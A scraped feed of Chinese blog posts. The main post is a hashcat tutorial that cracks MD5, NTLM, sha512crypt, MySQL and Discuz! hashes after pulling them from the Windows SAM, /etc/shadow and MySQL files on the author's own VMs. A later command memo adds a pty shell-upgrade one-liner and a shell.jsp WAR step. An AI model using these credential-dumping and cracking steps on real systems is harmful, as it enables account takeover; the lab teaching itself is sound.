参数-a用于指定攻击模式,0的含义是直接地、连续的,也就是用密码字典爆破,-a的取值共有五种,如下表所示:

N Mode
0 Straight
1 Combination
3 Brute-force
6 Hybrid Wordlist + Mask
7 Hybrid Mask + Wordlist

-m用于指定要爆破的hash值的hash函数,0表示hash函数是md5,其他取值如下表所示:

N Name Category
0 MD5 Raw Hash
300 MySQL4.1/MySQL5 Database Server
1000 NTLM Operating Systems
1800 sha512crypt $6$, SHA512 (Unix) Operating Systems
2611 vBulletin < v3.8.5 Forums, CMS, E-Commerce, Frameworks

这张表太长了,我这里只展示本文中涉及到的几种hash函数,用参数–help可以看到全部。

参数–remove的含义是若成功爆破某hash值,就将该值从md5.hash中移除。

参数-o后接一个文件名,指出保存爆破结果的地方。

最后的两个参数md5.hash和wordlist.dic分别是待爆破的hash值和密码字典,hash值与密码字典都是一行一个。md5.hash中的内容已经由Python算,若你手头没有合适的密码字典,可以用命令:

  wget -O wordlist.dic https://samsclass.info/123/proj10/500_passwords.txt

下载一个。现在完事具备,按下回车,结果华丽地报错:(

  clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR

大概是缺少什么运行环境,那就安装呗。我总共安装了这些东西:

  sudo apt-get install gcc make p7zip-full git lsb-core
  wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
  tar -xvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
  cd opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25
  sudo ./install.sh

网速好的话一小会就安好了,第一条命令报错:

  /sbin/ldconfig.real: /usr/lib/nvidia-375/libEGL.so.1 is not a symbolic link
  /sbin/ldconfig.real: /usr/lib32/nvidia-375/libEGL.so.1 is not a symbolic link

但是好像不影响什么,忽略掉好了。安装完这些后,再次按下回车,运行原本报错的命令,发现果然没有再次报错,且转瞬之间,便执行完毕。命令执行完毕后查看文件md5.hash和md5.out的内容,发现md5.hash中只剩一个hash,爆破成功的三个hash已经被转移到文件md5.out中,md5.out中是三个hash值及其原值,如下图所示:

其实吧,对于md5来说,通过某些网站破解可能更简单有效,这些网站中的部分是(排名分先后):

二、爆破Windows7登录密码hash

Windows的登录密码的hash值保存在SAM文件中,SAM是“security account manager”的首字母缩写。通常,它位于

  C:\windows\system32\config\SAM

SAM文件被Windows保护,不能直接读取,需借助工具,如SAMInside。找一台Windows7虚拟机,新建一个名为hashcat的管理员用户,并设置密码,在Windows7中下载并解压SAMInside后以管理员权限运行,然后点击File->Import Local Users vis Scheduler,如下图所示:

之后SAMInside可能会“未响应”,但不要紧,耐心地等待几秒,SAMInside不负所望地读出了我们想要的hash,如下图所示:

选中我们想要爆破密码的用户“hashcat”,按Ctrl+5复制NT-hash,然后回到安装了hashcat的Ubuntu中,用如下命令将复制出的hash值保存到文件win7.hash中:

  echo 356CEAE0C89FB65ED6D6AA7A445C4CE5 > win7.hash

NT-hash便是Windows7保存登录密码使用的hash函数,接着用如下命令爆破NT-hash:

  hashcat -w 3 -a 0 -m 1000 --remove -o win7.out win7.hash wordlist.dic

片刻后执行完毕,查看win7.out文件,发现爆破成功,用户hashcat的登录密码是rush2112:

  werner@Yasser:~/hashcat$ cat win7.out
  356ceae0c89fb65ed6d6aa7a445c4ce5:rush2112

怎样拿到SAM文件可参考《如何导出Windows哈希系列一 》。下面记录我读取虚拟机Windows7中SAM文件的过程。

若是物理机,用Win PE启动机器,读取磁盘上的SAM文件即可。我的是虚拟机,将虚拟磁盘文件挂载到文件系统中就可以读虚拟磁盘中的文件了。我用的虚拟机是VirtualBox,使用命令vdfuse可以完成此事。若没有vdfuse则需先安装virtualbox-fuse:

  sudo apt-get install virtualbox-fuse

也可下载virtualbox-fuse的安装包自己安装。

安装完成后便有了vdfuse命令,可以开始虚拟磁盘映射、挂载了:

  mkdir -p ~/vmdisk
  sudo vdfuse -t VMDK -f Win7Pro32.vmdk ~/vmdisk/

执行完这步后查看~/vmdisk目录,其中有三个文件:EntireDisk、Partition1和Partition2,新建目录:

  mkdir -p ~/vmdisk_en
  mkdir -p ~/vmdisk_1
  mkdir -p ~/vmdisk_2

用mount命令分别挂载EntireDisk、Partition1和Partition2这三个文件:

  sudo mount ~/vmdisk/EntireDisk   ~/vmdisk_en
  sudo mount ~/vmdisk/Partition1   ~/vmdisk_1
  sudo mount ~/vmdisk/Partition2   ~/vmdisk_2

发现,EntireDisk挂载失败,Partition1中内容不是我想要的,Partition2中是Windows7虚拟机中的文件,正是我想要的。从vmdisk_fs中复制出我们的目标SAM文件:

  cp ~/vmdisk_2/Windows/System32/config/SAM ./

顺便把SYSTEM文件也复制出来:

  cp ~/vmdisk_2/Windows/System32/config/SYSTEM ./

查看SAM文件的内容,如下图所示,竟然不是纯文本文件,果然是Windows的风格,

好吧,虽然成功打开了SAM文件,但我们还是没有得到hash,接下来改怎么办?只能借助工具解析SAM文件内容了。把SAM文件和SYSTEM文件都搞到Kali中,运行命令:

  samdump2 -o sam.hash SYSTEM SAM

然后查看sam.hash,也可以看到各个用户登录密码的hash值。sam.hash文件中每行是一个用户,每一行的格式均为:

  用户名称:RID:LM-hash值:NTLM-hash值

注意此格式是samdump2命令输出格式,并不是“Windows下的Hash密码格式”。

三、爆破linux登录密码hash

首先,得有一台运行linux系统的电脑,这个好说,虚拟机就可以了。然后,运行如下命令添加新用户并设置密码,以供我们爆破之用:

  sudo adduser justforfun

linux中用户登录密码的hash值存放在文件/etc/shadow中(注意:不是/etc/passwd),使用如下命令查看新建用户的登录密码的hash值:

test@test-VirtualBox:~$ sudo tail -n 1 /etc/shadow
justforfun:$6$0fokwg59$6hpMS5dM9wDT/42DDoSD0i0g/wHab50Xs9iEvVLC3V20yf1kRmXZHGXCM0Efv6XU69hdgMZ4FwaMzso4hQaGQ0:17373:0:99999:7:::

tail命令用于读一个文件的最后几行,默认是10行,用参数-n指定行数。我们刚刚新建的用户自然在最后一行,故用tail -n 1读取。读到的结果是以“:”分割的数据,第一部分是用户名“justforfun”,第二部分便是密码的hash值了,其他的部分在本文中不必关心。我们重点研究第二部分。

开头的“$6$”指所用hash函数的类型为SHA-512,除“$6$”外,在linux中,“$1$”指MD5, “$2a$”指Blowfish, “$2y$”指Blowfish(correct handling of 8-bit chars), “$5$”指SHA-256,详情参见维基百科:passwd。此外,文件/etc/login.defs也对hash算法有所说明。

“$6$”开始到下一个“$”之前的部分“0fokwg59”是盐(SALT)。什么是盐呢?百度知道CNB2009对问题“什么是md5盐值”的回答简单易懂:

简单说就是为了使相同的密码拥有不同的hash值的一种手段,就是盐化。MD5自身是不可逆的,但是目前网路上有很多数据库支持反查询,如果用户密码数据库不小心被泄露,黑客就可以通过反查询方式获得用户密码,或者对于数据库中出现频率较高的hash码(即很多人使用的)进行暴力破解(因为它通常都是弱口令)。盐值就是在密码hash过程中添加的额外的随机值,比如我的id是癫ω倒④ゞ,密码是123456,存在数据库中的时候就可以对字符串“123456/癫ω倒④ゞ ”进行hash,而验证密码的时候也以字符串“(要验证的密码)/癫ω倒④ゞ ”进行验证。这样有另外一个笨蛋密码是123456的时候,依然能构造出不同的hash值,并且能成功的验证。这时候我的id就作为盐值 为密码进行复杂hash了。所以么。。盐值的作用是减少数据库泄露带来的损失。如果你RP非常好,猜中了我的密码是123456,我也阻止不了你啊

该回答针对md5,其他hash函数同理。盐之后的部分就是hash值了。现在复制整个第二部分到文件linux.hash中,linux.hash中的内容应为:

 $6$0fokwg59$6hpMS5dM9wDT/42DDoSD0i0g/wHab50Xs9iEvVLC3V20yf1kRmXZHGXCM0Efv6XU69hdgMZ4FwaMzso4hQaGQ0

然后用如下命令爆破linux登录密码hash:

  hashcat -w 3 -a 0 -m 1800 --remove -o linux.out linux.hash wordlist.dic

片刻后,爆破完成,查看结果:

werner@Yasser:~/hashcat$ cat linux.out
$6$0fokwg59$6hpMS5dM9wDT/42DDoSD0i0g/wHab50Xs9iEvVLC3V20yf1kRmXZHGXCM0Efv6XU69hdgMZ4FwaMzso4hQaGQ0:4321

可见爆破成功。

四、爆破Mysql登录密码hash

首先,得有Mysql。刚好我虚拟机中就有。百度可知Mysql的登录密码的hash值保存在文件user.MYD中。文件user.MYD又在哪里?我也不知道啊,就找呗:

  test@test-VirtualBox:~$ sudo find / -name user.MYD
  /var/lib/mysql/mysql/user.MYD

找到了,是在/var/lib/mysql/mysql/user.MYD,查看该文件内容:

  sudo cat /var/lib/mysql/mysql/user.MYD

不是纯文本文件,关系不大,还是看得出用户root的登录密码的hash值是:

  6B825255FB466413D6B1B724644E23428C94BBCB

将此值保存到文件mysql.hash中,用如下命令爆破Mysql登录密码hash:

  hashcat -w 3 -a 0 -m 300 --remove -o mysql.out mysql.hash wordlist.dic

片刻后,爆破完成,查看结果:

  werner@Yasser:~/hashcat$ cat mysql.out
  6b825255fb466413d6b1b724644e23428c94bbcb:viper

可见爆破成功。

五、爆破Discuz!论坛密码

Discuz!是我国知名的php论坛程序,使用极为广泛。现在我们来爆破下Discuz!用户密码的hash值。首先得找到hash值,从哪里找呢?当然是从Discuz!的数据库里。

可Discuz!的数据库又在哪里?我是这么解决的,从它的官网下载最新版Discuz!源码,运行安装,便得到了Discuz!的数据库:)

Discuz!的默认数据库名为ultrax,其中的pre_ucenter_members表中保存着登录密码的hash值,“pre_”是默认的前缀,在安装时可以改变,“ucenter_members”是不会变的。用如下sql语句查询出登录密码的hash值:

  select password,salt from pre_ucenter_members;

保存hash值和盐值到文件:

  echo 69bcba126b93c6f397983629a0f70553:c13fd9 > discuz.hash

hash值和盐值在同一行中,以“:”分割。最后,用如下命令爆破Discuz登录密码hash:

  hashcat -w 3 -a 0 -m 2611 --remove -o discuz.out discuz.hash wordlist.dic

片刻后,爆破完成,查看结果:

  werner@Yasser:~/hashcat$ cat discuz.out
  69bcba126b93c6f397983629a0f70553:c13fd9:winter

可见爆破成功。

六、大字典测试

截止目前,我们使用仅仅500个单词的小字典,每次都只需片刻,便顺利地爆破了各种hash,不觉得奇怪吗?这是因为我为练习使用hashcat而故意设置在字典内的弱密码,否则爆不出来岂不是让人心情很差。实际中就不可能有这么好的运气了。我们来随便计算一个不那么弱的密码的md5值,用大字典爆破,一方面试试运气,另一方面看看hashcat能有多快。

首先计算md5值:

  import hashlib
  md5 = hashlib.md5()
  md5.update("werner123456!!!")
  print md5.hexdigest()

输出为:

  b17133f9abff287ed0546c1af2b171f7

然后选择一个10.5G大小,内含9.4亿密码的字典,开始爆破:

  hashcat -w 3 -a 0 -m 0 --remove -o big.out b17133f9abff287ed0546c1af2b171f7 big.dic

注意到,只有一个hash值时,不用保存在文件中,直接写在命令行参数中也可以。睡觉前开始爆破,第二天起来看结果,发现:

  Started: Wed Jul 26 22:55:27 2017
  Stopped: Wed Jul 26 23:02:28 2017

原来只用了7分钟!我原以为要用7个小时,比我预想的快了60倍!有点遗憾的是,并没有成功的爆破出hash值,看来“werner123456!!!”并不在密码字典中。看来我需要准备一个100G的密码字典,但这么大的字典保存、转移都很不方便,没有其他办法吗?当然有,还记得攻击模式吗?我们一直在使用“Straight”模式,接下来,研究下其他几种模式吧。这篇文章已经够长了,在另一篇文章中研究其他攻击模式吧。

七、总结

使用hashcat爆破hash,第一是要找准hash,不同的系统、不同的软件,其hash存放的位置不同,需要准确地找出hash值来;第二是要正确判断hash类型,确定hashcat是否支持这种hash,选对-m的参数,否则几乎不可能成功;第三是密码字典要好,最终能否爆破成功,还是看字典。密码字典虽不是越大越好,但总归还是大点的好,hashcat也以速度著称,大字典对hashcat不是问题。这里记录一个比较好的字典:历次泄密门+常用弱口令字典集合.7z,解压密码是:anywlan。另外,若是收集了很多小字典,可以将小字典合并、排序、去重,得到一个大字典,以便于hashcat爆破之用。如果小字典在同一个目录下,使用一条命令就可以搞定:

    cat * | sort | uniq > Merge.dic

若是小字典被按类别整理,分布在多层目录中呢?只用cat命令显然不行,但其实也只需一条命令就可以了,假设小字典们均被存放在目录MyDictionary中,则命令可以这样写:

    find ./MyDictionary -type f -exec cat {} \; | sort | uniq > Merge.dic
]]>
https://blog.werner.wiki/use-hashcat-crack-all-kinds-of-hash/feed/ 2
以诗之名 https://blog.werner.wiki/name-from-poetry/ https://blog.werner.wiki/name-from-poetry/#comments Fri, 31 Mar 2017 05:49:30 +0000 http://blog.werner.wiki/?p=189 (2018年3月20日更新)“以诗之名”全面改版,本文内容过期。详情见“以诗之名-关于”。

这是什么?

以诗之名”是我和 Yixiao_Li 同学共同完成的一个搜索引擎,用于搜索你的名字(或者其他的几个汉字)包含于哪首古诗词中。
如搜索马化腾的“化腾”二字,出现的第一首诗是:

    造化精神无尽期,
    跳腾踔厉即时追。
    目前言句知多少,
    罕有先生活法诗。

这首诗的第一句中含有“化”、“腾”二字,而且是对齐的。说这是马化腾名字的出处也未尝不可 🙂

搜索结果中包含有你输入的全部关键字,所以我想,在大多数时候,你应该输入“化腾”而不是“马化腾”。
搜索结果是按照一定规则排序的:关键字对齐、关键字在一句之内及总长度较短的诗会排得比较靠前,因为我们认为,这样的诗,正是你想看到的。

此搜索引擎支持查询简体字和繁体字,但程序并不能自动识别你输入的是简体字还是繁体字,需要你显式地指明——若你输入的是繁体字,就打开繁体字对应的开关,否则程序就默认你输入的是简体字。除了“繁体”外,还有“仅唐”和“仅宋”两个开关,这两个开关是互斥的,除非你的浏览器没有执行我写的脚本程序,或是你有意破坏。打开这两个开关中的一个,会只在唐人的作品或宋人的作品中搜索诗词。注意,唐人也会写词,宋人也会写诗。

目前只收录了部分唐诗宋词,数据正在进一步整理中。我希望能再添加“仅经”、“仅楚”和“仅曲’等开关。

开发过程

为何要公开开发过程呢?好吧,这只是我的备忘录而已。

第一步:寻找诗词数据库

在github上搜索“唐诗”就搜到了一个很全的唐诗数据库:chinese-poetry,感谢@jackeyGao,感谢开源!

这个“数据库”是JSON格式的,而且是繁体字版的。

先将其导入数据库。数据库的创建语句是:

    CREATE DATABASE shiming DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

数据表的创建语句是:

    create table SHI_f (id int AUTO_INCREMENT primary key NOT NULL,title char(100), author char(50), paragraphs text, ft_index text, type char(5), src char(25));
    create table SHI_j (id int AUTO_INCREMENT primary key NOT NULL,title char(100), author char(50), paragraphs text, ft_index text, type char(5), src char(25));

其中“_j”表示简体,“_f”表示繁体,用Python解析JSON代码如下:

    # -*-coding:utf8-*-
    import os
    import json
    import traceback
    from sql_head import *
    from langconv import *

    global db
    db = None                   #全局变量,数据库连接

    def insert(title, author, paragraphs, type, src):
        u'''将数据插入数据库,会进行繁体转换,保存简、繁体两版'''
        global db
        sql_j = '''insert into SHI_j (`title`, `author`, `paragraphs`, `ft_index`, `type`, `src`) values ("{0}", "{1}", "{2}", "{3}", "{4}", "{5}")'''
        sql_f = '''insert into SHI_f (`title`, `author`, `paragraphs`, `ft_index`, `type`, `src`) values ("{0}", "{1}", "{2}", "{3}", "{4}", "{5}")'''
        #进行繁体到简体的转换
        title_j = Converter('zh-hans').convert(title.decode('utf-8'))
        title_j = title_j.encode('utf-8')
        author_j = Converter('zh-hans').convert(author.decode('utf-8'))
        author_j = author_j.encode('utf-8')
        paragraphs_j = Converter('zh-hans').convert(paragraphs.decode('utf-8'))
        index_j = ''
        for i in paragraphs_j:
            index_j += i+" "
        index = ''
        for i in paragraphs:
            index += i+" "
        db=linkmysql(db)        #连接数据库
        cursor = db.cursor()    #获得游标
        try:
            cursor.execute(sql_j.format(title_j, author_j, paragraphs_j, index_j, type, src))    #插入记录
            cursor.execute(sql_f.format(title, author, paragraphs, index, type, src))              #插入记录
            db.commit()
        except:
            # 发生错误时回滚
            traceback.print_exc()
            db.rollback()
            return -1
        else:
            return 0

    def jiexi_json(src):
        '''从给定源读html文件解析出标题、作者、内容等'''
        if "song" in src:
            type = "song"
        elif "tang" in src:
            type = "tang"
        else:
            type = "None"
        f = open(src, "r")
        try:
            s = json.load(f, encoding='utf-8')
        except:
            traceback.print_exc()
            f.close()
            return
        f.close()
        for i in s:
            try:
                title = i['title']
                author = i['author']
                paragraphs=''
                for item in i['paragraphs']:
                    if item.find(u'《')!=-1 or item.find(u'〖')!=-1:
                        break
                    paragraphs += item
                insert(title, author, paragraphs, type, src)
            except:
                traceback.print_exc()
                continue

    def bianli(rootdir):
        '''遍历rootdir目录中的文件'''
        num = 0
        for parent,dirnames,filenames in os.walk(rootdir):
            for filename in filenames:                        #输出文件信息
                if filename.endswith('.json'):                #该文件是json文件
                    print "["+str(num)+"]",filename
                    src = filename
                    jiexi_json(src)

    if __name__ == '__main__':
        db=linkmysql(db)        #连接数据库
        bianli(".")
        db.close()              #关闭和数据库的连接

其中langconv是用于进行繁体字和简体字转换的Python库,作者是@Skydark Chen,sql_head是我写的一个连接数据库用到很简单的库,代码如下:

    # -*-coding:utf8-*-
    import sys
    import MySQLdb

    #指定编码为utf8
    reload(sys)  
    sys.setdefaultencoding('utf8')

    db_config = {
        "hostname": "localhost",#主机名
        "username": "XXXX",#数据库用户名
        "password": "XXXX",#数据库密码
        "databasename": "XXXX",#要存入数据的数据库名
        }

    def linkmysql(db):
        try:#MySQLdb不支持长时间连接,在操作数据库前检查连接是否过期,过期则重连
            db.ping(True)
        except:
            #再次连接数据库
            db = MySQLdb.connect(db_config["hostname"],
                         db_config["username"],
                         db_config["password"],
                         db_config["databasename"],
                         charset='utf8')
        return db

运行该脚本,约半个小时后,数据导入完成,经查询,共有57591首唐诗,254237首宋词,这个数据量还是相当可观的。但比起数千年来,中华民族创造的灿烂诗海,只是沧海一粟而已。

第二步:查询语句

创建全文索引:

    ALTER TABLE SHI_f ADD FULLTEXT(`ft_index`);
    ALTER TABLE SHI_j ADD FULLTEXT(`ft_index`);
    repair table SHI_f;
    repair table SHI_j;

在简体库中搜索同时含有“张飞”二字的诗词,按字数多少递增排序,限定显示前500条。

    SELECT id, title, author, paragraphs FROM SHI_j WHERE MATCH (`ft_index`) AGAINST ("张") and MATCH (`ft_index`) AGAINST ("飞") order by LENGTH(paragraphs) limit 0,500;

第三步:编写网站

前端是用“轻量,小巧且精美的UI库”SUI Mobile 写的。
后台是用php写的。

第四步:部署上线

由于是两个人合作完成的,故有两个实例,一个是http://s.werner.wiki,还有一个是http://poetry.liyixiao.site/,这两个网站运行在不同的地方,只有很小的差别。

附:开始时的困境

一开始做这个项目时,我没有想到神奇的github,而是百度“唐诗大全”之类的字眼,妄图找到较全的唐诗数据库,当然是失败的。热情的popcorn同学得知我这一困境后为我友情提供多本唐诗宋词相关电子书,是azw3和mobi格式的。感谢popcorn同学的帮助!

当时我是这样处理电子书的:先通过一家网站将azw3格式的电子书转换成html格式,然后用Python解析html,从中提取出标题、作者、内容等我们关心的数据,并将其保存到数据库中。下面的代码是用于解析《宋词三百首全解》这本电子书的,虽然最终没有使用,但却具有纪念意义,故也将其摘录于此。

创建数据库和数据表

CREATE DATABASE SHIMING DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
create table SONGCI (id int AUTO_INCREMENT primary key NOT NULL,title char(20),author char(15),content text, src char(50));

解析网页

用Python解析网页,需安装BeautifulSoup4

    sudo pip install BeautifulSoup4

代码

    # -*-coding:utf8-*-
    import os
    import traceback
    from sql_head import *
    from bs4 import BeautifulSoup
    def insert(title, author, content, src):
        '''将数据插入数据库'''
        sql = '''insert into SONGCI (`title`, `author`, `content`, `src`) values ("{0}", "{1}", "{2}", "{3}")'''
        db = None
        db=linkmysql(db)        #连接数据库
        cursor = db.cursor()    #获得游标
        try:
            cursor.execute(sql.format(title, author, content, src))              #插入记录
            db.commit()
        except:
            # 发生错误时回滚
            db.rollback()
            db.close()                                      #关闭和数据库的连接
            return -1;
        else:
            db.close()                                      #关闭和数据库的连接
            return 0;
    def jiexi_html(src):
        '''从给定源读html文件解析出标题、作者、内容等'''
        f = open(src, "r")
        html_doc = f.read()
        f.close()
        soup = BeautifulSoup(html_doc, "lxml")
        [s.extract() for s in soup('sup')]  #去除所有sup标签
        title = soup.h1.string
        author = soup.find_all("p", class_="normaltext2")[0].get_text()
        content = soup.find_all("p", class_="normaltext4")[0].get_text()
        return title, author, content
    def bianli(rootdir):
        '''遍历rootdir目录中的文件'''
        for parent,dirnames,filenames in os.walk(rootdir):
            for filename in filenames:                        #输出文件信息
                if filename.endswith('.html'):                #该文件是html文件
                    print filename
                    src = filename
                    try:
                        title, author, content = jiexi_html(src)
                    except:
                        traceback.print_exc()
                        continue
                    try:
                        ret = insert(title, author, content, src)
                    except:
                        traceback.print_exc()
                        continue
                    if ret==0:
                        print 'success'
                    else:
                        print 'fail'

    if __name__ == '__main__':
        bianli(".")

参考

]]>
https://blog.werner.wiki/name-from-poetry/feed/ 2
Django+Mysql性能优化小记 https://blog.werner.wiki/django-mysql-performance-optimization-notes/ https://blog.werner.wiki/django-mysql-performance-optimization-notes/#respond Thu, 03 Nov 2016 06:34:39 +0000 http://blog.werner.wiki/?p=97 最近在对一个Django+Mysql的小网站进行性能优化,发现一些有趣的事,记录于此。

首先是中文全文搜索的问题。比较新的Mysql是可以创建全文索引并且进行全文搜索的,但对汉语的支持不好。英语天然地用空格分割单词,很容易实现全文搜索,但汉语却没有这样的天然优势。一个自然的想法便是若汉语的词与词之间也有空格分割,岂不是就可以直接用Mysql的全文索引和全文搜索了。为此,对需要进行全文搜索的字段,比如title和description,新建两个对应的字段用于存放带空格的中文句子:title_index和description_index。然后遍历整张表,读取title和description字段的值,对其进行汉语分词(比如使用jieba)后用空格分割分词结果,分别写回到title_index和description_index字段中去。可以用类似下面的Python代码去实现这一过程(注意下面的代码只是片段,是不完整的)。

    #使用execute方法执行SQL语句
    cursor.execute('''select id,title,description from tablename''')
    for row in cursor.fetchall():#遍历整张表
        #建立全文索引
        if row[1]:
            title_index = ' '.join(list(jieba.cut(row[1]))).replace("\"", "'")
        else:
            title_index = ''
        if row[2]:
            description_index = ' '.join(list(jieba.cut(row[2]))).replace("\"", "'")
        else:
            description_index = ''
        sql = '''update tablename set `title_index`="{0}",  `description_index`="{1}" \
                 where id={2};'''.format(title_index, description_index, row[0])
        cursor.execute(sql)
     db.commit()

之后建立对title_index和description_index的全文索引,搜索时也在这两个字段上搜索就可以了。但在试验时发现这样做只能搜索到较长的词组,比如“中华人民共和国”,但搜索不到较短的词组,比如“中国”。查阅资料显示,Mysql认为较短的单词(比如a、an这样的)对于全文搜索是有害的,所以会忽略这样的单词。这一长度由ft_min_word_len指定,其默认值是4。为了能较好的支持中文,将其改为2。Ubuntu中需要在配置文件/etc/mysql/my.cnf的[mysqld]段(section)中添加一行:

ft_min_word_len=2

加不对地方是没用的。我刚开始时将ft_min_word_len=2添加在配置文件末尾,再怎么重启Mysql,用SQL语句“SHOW VARIABLES LIKE ‘ft_min_word_len’;”查看其值,依旧是4,后来在其官网找到说明,才知必须添加在特定的段中才有效。改好这一配置并重启后再次尝试,就会发现Mysql可以对“中国”这样两个字的词进行有效的全文搜索了,但Mysql依旧会忽略“的”这样一个字的词,这正是我想要的。至于如何将Mysql全文搜索集成到Django中,其实这个问题不用考虑,较新的Django中集成了这样的API,以下部分复制于Django文档

search¶

Deprecated since version 1.10: See the 1.10 release notes for how to replace it.

A boolean full-text search, taking advantage of full-text indexing. This is like contains but is significantly faster due to full-text indexing.

Example:

    Entry.objects.filter(headline__search="+Django -jazz Python")

SQL equivalent:

    SELECT ... WHERE MATCH(tablename, headline) AGAINST (+Django -jazz Python IN BOOLEAN MODE);

Note this is only available in MySQL and requires direct manipulation of the database to add the full-text index. By default Django uses BOOLEAN MODE for full text searches. See the MySQL documentation for additional details.

解决了全文搜索问题之后便要考虑效率了。我在维护的网站大约有10万数据,每搜索一次都需要几秒时间,即使添加了如上所述的全文搜索。数据很少,为何会这样呢?以为是字符匹配很慢,结果引入全文搜索依旧如此。一直到搞不清楚原因,直到偶然间发现:

mysql> SELECT count(*) FROM tablename WHERE MATCH (title_index,description_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     8483 |
+----------+
1 row in set (3.68 sec)

mysql> SELECT count(*) FROM tablename WHERE MATCH (title_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     3401 |
+----------+
1 row in set (0.02 sec)

mysql> SELECT count(*) FROM tablename WHERE MATCH (description_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     8225 |
+----------+
1 row in set (0.05 sec)

mysql>

差距竟然如此之大!注意到这一巨大的差距,便去修改Django项目的代码,将:

    if only_title:
        conflist = Conf.objects.filter(title_index__search=s)
    else:
        conflist = Conf.objects.filter(Q(description_index__search=s)|Q(title_index__search=s))

修改为:

    conflist = Conf.objects.filter(title_index__search=s)
    if only_title:
        pass
    else:
        conflist = conflist or Conf.objects.filter(description_index__search=s)

新的代码相当于分别从title_index和description_index中查询,再将查到的结果(是两个集合)并(or)起来。改好之后再试试,搜索果然变得很快很快了,由以前的好几秒变成了不到1秒。

补充说明,只有很新的Mysql的InnoDB和MyISAM都支持全文搜索,稍老一些版本的Mysql只有MyISAM支持全文搜索。而如果数据表是InnoDB,就需要转换为MyISAM了。下面展示的是我将InnoDB表转换为MyISAM表过程中做的备忘录:

    # 设置和查看ft_min_word_len
    nano /etc/mysql/my.cnf
    Set the following values, which increase the maximum attachment size and make it possible to search for short words and terms:
        Alter on Line 52: max_allowed_packet=100M
        Add as new line 32, in the [mysqld] section: ft_min_word_len=2
    SHOW VARIABLES LIKE 'ft_min_word_len';

    # mysql innodb 转MyISAM
    create table tt7_tmp like tablename;
    insert into tt7_tmp select * from tablename;
    alter table tt7_tmp engine=MyISAM;
    SET FOREIGN_KEY_CHECKS = 0;
    drop table tablename;
    rename table  tt7_tmp to tablename;

    # 新增字段
    alter table tablename add title_index varchar(2000);
    alter table tablename add description_index longtext;

    # 添加全文索引
    ALTER TABLE tablename ADD FULLTEXT(title_index);
    ALTER TABLE tablename ADD FULLTEXT(description_index);
    Alter table `tablename` add fulltext(`title_index`);
    Alter table `tablename` add fulltext(`description_index`);
    repair table tablename;
]]>
https://blog.werner.wiki/django-mysql-performance-optimization-notes/feed/ 0
Linux及相关命令备忘 https://blog.werner.wiki/linux-command-memo/ https://blog.werner.wiki/linux-command-memo/#respond Sun, 13 Mar 2016 06:45:46 +0000 http://blog.werner.wiki/?p=112 将一些自己不太熟悉的命令记录在这里以备忘。

linux命令

挂载VirtaulBox的.vdi虚拟磁盘:

    sudo modprobe nbd
    sudo qemu-nbd -c /dev/nbd0  ~/VirtualBox\ VMs/DOS7.1/DOS7.1.vdi
    sudo mount /dev/nbd0p1 /mnt

解挂载:

    sudo umount /mnt
    sudo qemu-nbd -d /dev/nbd0

压缩,会替代原文件

    gzip data.sql

解压

    gzip -d data.sql.gz

刻录系统安装U盘:

    sudo dd if=kali-linux-2.0-amd64.iso of=/dev/sdb

查看刻录进度:

    sudo watch -n 5 pkill -USR1 ^dd$

网站镜像:

    wget -m-p -E -k -K -np -v http://www.xxx.xxx

firefox启动参数:

    firefox -marionette

一个自定义的有趣命令:

    alias fun='fortune \| cowsay -f $(ls /usr/share/cowsay/cows \| sort -R \| head -n 1)'

jekyll显示草稿:

    jekyll s --drafts

字符化图片:

    mplayer -vo caca xxx.jpg
    ffplay xxx.jpg

用wget镜像网站:

    wget -m -p -E -k -K -np -v http://www.wangning.site

查看无线网卡是否支持monitor模式

    iw list

将无线网卡设置为monitor模式

    sudo ifdown wlan0
    sudo iwconfig wlan0 mode monitor
    sudo ifconfig wlan0 up

查看无线网卡信道

    iwlist wlan0 channel

设置无线网卡监听信道

    iwconfig wlan0 channel 11

合并多个pdf文件(可能会导致合并后的pdf在Windows下标题有重影,模糊不清)

    gs -q -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=Linuxidc.pdf -dBATCH \*.pdf

一行Python搞定静态文件服务器

    python -m SimpleHTTPServer

Kali2.0中Metasploit没有完全安装,service metasploit start不起作用,初始化MSF数据库(当然得先启动postgresql服务)

    msfdb init

gcc编译时禁用堆栈保护

    gcc -fno-stack-protector -o strackoverflow strackoverflow.c

利用ssh设置sock5代理

    ssh -qTfnN -D 7000 username@xxx.xxx
    -q Quiet mode. 安静模式,忽略一切对话和错误提示。
    -T Disable pseudo-tty allocation. 不占用 shell 了。
    -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数。
    -n Redirects stdin from /dev/null (actually, prevents reading from stdin). -f 推荐的,不加这条参数应该也行。
    -N Do not execute a remote command. 不执行远程命令,专为端口转发度身打造。

打包war文件

    jar -cvf myshell.war shell.jsp

Ubuntu中配置开机启动服务

    sysv-rc-conf

Python的交互式shell

    python -c 'import pty;pty.spawn("/bin/sh")'

搜索文件名/目录名:

    locate filename

VirtualBox中无界面模式启动与关闭虚拟机:

    VBoxManage startvm MyTarget --type headless
    VBoxManage controlvm MyTarget poweroff

mysql命令

数据库导出为.sql文件:

    mysqldump -u root -p databasename tablename > xxx.sql

把.sql文件导入为数据库:

    mysql -u root -p databasename < xxx.sql

指定字符集为utf8创建数据库:

    CREATE DATABASE databasename DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

mysql导入csv文件:

    LOAD DATA INFILE 'test.csv' INTO TABLE info  FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n';
]]>
https://blog.werner.wiki/linux-command-memo/feed/ 0